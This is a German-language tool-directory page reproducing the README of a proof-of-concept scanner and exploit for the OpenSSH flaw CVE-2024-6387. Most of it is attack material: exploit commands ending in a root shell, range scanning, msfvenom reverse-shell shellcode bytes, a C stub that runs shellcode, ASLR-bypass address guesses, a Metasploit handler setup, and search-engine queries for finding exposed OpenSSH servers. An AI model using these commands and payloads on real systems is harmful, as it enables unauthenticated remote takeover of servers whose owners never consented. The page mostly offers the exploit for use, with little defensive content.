Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-6387 — PoC - Schwachstelle für Remote-Codeausführung ohne Authentifizierung im OpenSSH-Server (Scanner und Exploit) | Kitploit
Tools/GitHubGitHub/l0n3m4n/cve-2024-6387
AufklärungSchwachstellenanalyseExploitationShellcodeNetzwerksicherheitPenetrationstestsRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubl0n3m4n/cve-2024-6387

CVE-2024-6387

PoC - Schwachstelle für Remote-Codeausführung ohne Authentifizierung im OpenSSH-Server (Scanner und Exploit)

1133921vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

openssh CVE-2024-6387 - PoC

📜 Beschreibung

Hinweis: Dieses Skript ist ein schneller Prototyp eines PoC, erwarten Sie einige Fehler und Bugs. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04

Schwachstelle zur entfernten, nicht authentifizierten Codeausführung im OpenSSH-Server

Im OpenSSH-Server (sshd) wurde eine Race-Condition im Signalhandler gefunden, bei der ein Client sich nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120, bei alten OpenSSH-Versionen 600) authentifiziert, woraufhin sshds SIGALRM-Handler asynchron aufgerufen wird. Dieser Signalhandler ruft jedoch verschiedene Funktionen auf, die nicht async-signal-sicher sind, z. B. syslog().

📁 Inhaltsverzeichnis

  • 📖 Details
  • ⚙️ Verwendung
  • 🔍 Host-Erkennung
  • 🛠️ Abhilfe
  • 💁 Referenzen
  • 📌 Autor
  • 📢 Haftungsausschluss

✍🏻 Details

Die technischen Details finden Sie hier.

Der Fehler, der von Forschern bei Qualys im Mai 2024 entdeckt und unter der Kennung CVE-2024-6387 vergeben wurde, beruht auf einer Race-Condition im Signalhandler von sshd, die es nicht authentifizierten entfernten Angreifern ermöglicht, beliebigen Code als root auszuführen.

"Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (120 standardmäßig) authentifiziert, wird sshds SIGALRM-Handler asynchron aufgerufen und ruft verschiedene Funktionen auf, die nicht async-signal-sicher sind."

"Ein nicht authentifizierter entfernter Angreifer kann diesen Fehler ausnutzen, um beliebigen Code mit Root-Rechten auszuführen."

⚙️ Verwendung

OpenSSH-Server scannen

Voraussetzung: python3 aktuell

$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Autor: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Schwachstellen ausnutzen...
Versuche Ausnutzung mit glibc-Basis: 0xb7200000
Versuch 0 von 20000
SSH-Version empfangen: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
KEX_INIT empfangen (1024 Bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Ausnutzung erfolgreich..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Exportieren (csv,txt,json)

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Mehrere Ziele

$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Timeout hinzufügen

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Netzwerkbereiche

$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Benutzerdefinierter Port

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Eskalationsprozess

Reverse Shell erhalten

# Generieren eines Shellcodes
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Benutzerdefiniertes Payload

#include <stdio.h>

// Ein Platzhalter für Ihr benutzerdefiniertes Payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Shellcode ausführen
    printf("Shellcode wird ausgeführt...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Tatsächliches Payload

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Mögliche glibc-Basisadressen (für ASLR-Umgehung)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode-Platzhalter (durch tatsächlichen Shellcode ersetzen)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Kompilieren und Initiieren des Payloads

# Kompilieren des Payloads
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Ausführen des Payloads

# Sobald Sie eine erfolgreiche Exploit-Nachricht erhalten, startet msfconsole automatisch eine Meterpreter-Sitzung.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Abfangen des Payloads

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Host-Erkennung

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access
Tool herunterladen